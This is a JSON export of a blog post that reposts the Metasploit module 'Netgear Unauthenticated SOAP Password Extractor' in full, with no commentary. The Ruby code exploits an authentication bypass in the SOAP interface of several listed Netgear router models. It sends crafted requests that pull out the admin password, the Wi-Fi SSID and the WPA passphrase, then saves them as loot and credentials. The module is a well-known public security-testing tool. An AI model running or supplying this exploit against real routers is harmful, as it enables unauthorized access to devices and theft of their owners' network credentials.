{"id":59313,"date":"2024-09-01T00:50:00","date_gmt":"2024-08-31T21:50:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180851\/netgear_soap_password_extractor.rb.txt"},"modified":"2024-09-01T00:50:00","modified_gmt":"2024-08-31T21:50:00","slug":"netgear-unauthenticated-soap-password-extractor","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/netgear-unauthenticated-soap-password-extractor\/","title":{"rendered":"Netgear Unauthenticated SOAP Password Extractor"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Netgear Unauthenticated SOAP Password Extractor&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an authentication bypass vulnerability in different Netgear devices.<br \/>It allows to extract the password for the remote management interface. This module has been<br \/>tested on a Netgear WNDR3700v4 &#8211; V1.0.1.42, but other devices are reported as vulnerable:<br \/>NetGear WNDR3700v4 &#8211; V1.0.0.4SH, NetGear WNDR3700v4 &#8211; V1.0.1.52, NetGear WNR2200 &#8211; V1.0.1.88,<br \/>NetGear WNR2500 &#8211; V1.0.0.24, NetGear WNDR3700v2 &#8211; V1.0.1.14 (Tested by Paula Thomas),<br \/>NetGear WNDR3700v1 &#8211; V1.0.16.98 (Tested by Michal Bartoszkiewicz),<br \/>NetGear WNDR3700v1 &#8211; V1.0.7.98 (Tested by Michal Bartoszkiewicz),<br \/>NetGear WNDR4300 &#8211; V1.0.1.60 (Tested by Ronny Lindner),<br \/>NetGear R6300v2 &#8211; V1.0.3.8 (Tested by Robert Mueller),<br \/>NetGear WNDR3300 &#8211; V1.0.45 (Tested by Robert Mueller),<br \/>NetGear WNDR3800 &#8211; V1.0.0.48 (Tested by an Anonymous contributor),<br \/>NetGear WNR1000v2 &#8211; V1.0.1.1 (Tested by Jimi Sebree),<br \/>NetGear WNR1000v2 &#8211; V1.1.2.58 (Tested by Chris Boulton),<br \/>NetGear WNR2000v3 &#8211; v1.1.2.10 (Tested by h00die)<br \/>},<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;BID&#8217;, &#8216;72640&#8217; ],<br \/>[ &#8216;OSVDB&#8217;, &#8216;118316&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/darkarnium\/secpub\/tree\/master\/Vulnerabilities\/NetGear\/SOAPWNDR&#8217; ]],<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Peter Adkins &lt;peter.adkins[at]kernelpicnic.net&gt;&#8217;, # Vulnerability discovery<br \/>&#8216;Michael Messner &lt;devnull[at]s3cur1ty.de&gt;&#8217;, # Metasploit module<br \/>&#8216;h00die &lt;mike@shorebreaksecurity.com&gt;&#8217; # Metasploit enhancements\/docs<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;Feb 11 2015&#8217;<br \/>)<br \/>end<\/p>\n<p>def run<br \/>print_status(&#8216;Trying to access the configuration of the device&#8217;)<\/p>\n<p># extract device details<br \/>action = &#8216;urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo&#8217;<br \/>print_status(&#8216;Extracting Firmware version&#8230;&#8217;)<br \/>extract_data(action)<\/p>\n<p># extract credentials<br \/>action = &#8216;urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo&#8217;<br \/>print_status(&#8216;Extracting credentials&#8230;&#8217;)<br \/>extract_data(action)<\/p>\n<p># extract wifi info<br \/>action = &#8216;urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo&#8217;<br \/>print_status(&#8216;Extracting Wifi&#8230;&#8217;)<br \/>extract_data(action)<\/p>\n<p># extract WPA info<br \/>action = &#8216;urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys&#8217;<br \/>print_status(&#8216;Extracting WPA Keys&#8230;&#8217;)<br \/>extract_data(action)<br \/>end<\/p>\n<p>def extract_data(soap_action)<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8216;\/&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;SOAPAction&#8217; =&gt; soap_action<br \/>},<br \/>&#8216;data&#8217; =&gt; &#8216;=&#8217;<br \/>})<\/p>\n<p>return if res.nil?<br \/>return if res.code == 404<br \/>return if res.headers[&#8216;Server&#8217;].nil?<br \/># unknown if other devices have other Server headers<br \/>return if res.headers[&#8216;Server&#8217;] !~ %r{Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0}<\/p>\n<p>if res.body =~ %r{&lt;NewPassword&gt;(.*)&lt;\/NewPassword&gt;}<br \/>print_status(&#8216;Credentials found, extracting&#8230;&#8217;)<br \/>extract_credentials(res.body)<br \/>end<\/p>\n<p>if res.body =~ %r{&lt;ModelName&gt;(.*)&lt;\/ModelName&gt;}<br \/>model_name = ::Regexp.last_match(1)<br \/>print_good(&#8220;Model #{model_name} found&#8221;)<br \/>end<\/p>\n<p>if res.body =~ %r{&lt;Firmwareversion&gt;(.*)&lt;\/Firmwareversion&gt;}<br \/>firmware_version = ::Regexp.last_match(1)<br \/>print_good(&#8220;Firmware version #{firmware_version} found&#8221;)<\/p>\n<p># store all details as loot<br \/>loot = store_loot(&#8216;netgear_soap_device.config&#8217;, &#8216;text\/plain&#8217;, rhost, res.body)<br \/>print_good(&#8220;Device details downloaded to: #{loot}&#8221;)<br \/>end<\/p>\n<p>if res.body =~ %r{&lt;NewSSID&gt;(.*)&lt;\/NewSSID&gt;}<br \/>ssid = ::Regexp.last_match(1)<br \/>print_good(&#8220;Wifi SSID: #{ssid}&#8221;)<br \/>end<\/p>\n<p>if res.body =~ %r{&lt;NewBasicEncryptionModes&gt;(.*)&lt;\/NewBasicEncryptionModes&gt;}<br \/>wifi_encryption = ::Regexp.last_match(1)<br \/>print_good(&#8220;Wifi Encryption: #{wifi_encryption}&#8221;)<br \/>end<\/p>\n<p>if res.body =~ %r{&lt;NewWPAPassphrase&gt;(.*)&lt;\/NewWPAPassphrase&gt;}<br \/>wifi_password = ::Regexp.last_match(1)<br \/>print_good(&#8220;Wifi Password: #{wifi_password}&#8221;)<br \/>end<br \/>rescue ::Rex::ConnectionError<br \/>vprint_error(&#8216;Failed to connect to the web server&#8217;)<br \/>return<br \/>end<\/p>\n<p>def extract_credentials(body)<br \/>body.each_line do |line|<br \/>next unless line =~ %r{&lt;NewPassword&gt;(.*)&lt;\/NewPassword&gt;}<\/p>\n<p>pass = ::Regexp.last_match(1)<br \/>print_good(&#8220;admin \/ #{pass} credentials found&#8221;)<\/p>\n<p>connection_details = {<br \/>module_fullname: fullname,<br \/>private_data: pass,<br \/>private_type: :password,<br \/>username: &#8216;admin&#8217;,<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>}.merge(service_details)<br \/>create_credential_and_login(connection_details)<br \/>end<\/p>\n<p># store all details as loot<br \/>loot = store_loot(&#8216;netgear_soap_account.config&#8217;, &#8216;text\/plain&#8217;, rhost, body)<br \/>print_good(&#8220;Account details downloaded to: #{loot}&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Report def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Netgear Unauthenticated SOAP Password Extractor&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an authentication bypass vulnerability in different Netgear devices.It allows to extract the password for the remote management interface. This module has beentested on a Netgear WNDR3700v4 &#8211; V1.0.1.42, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59313","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59313","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59313"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59313\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59313"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59313"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59313"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}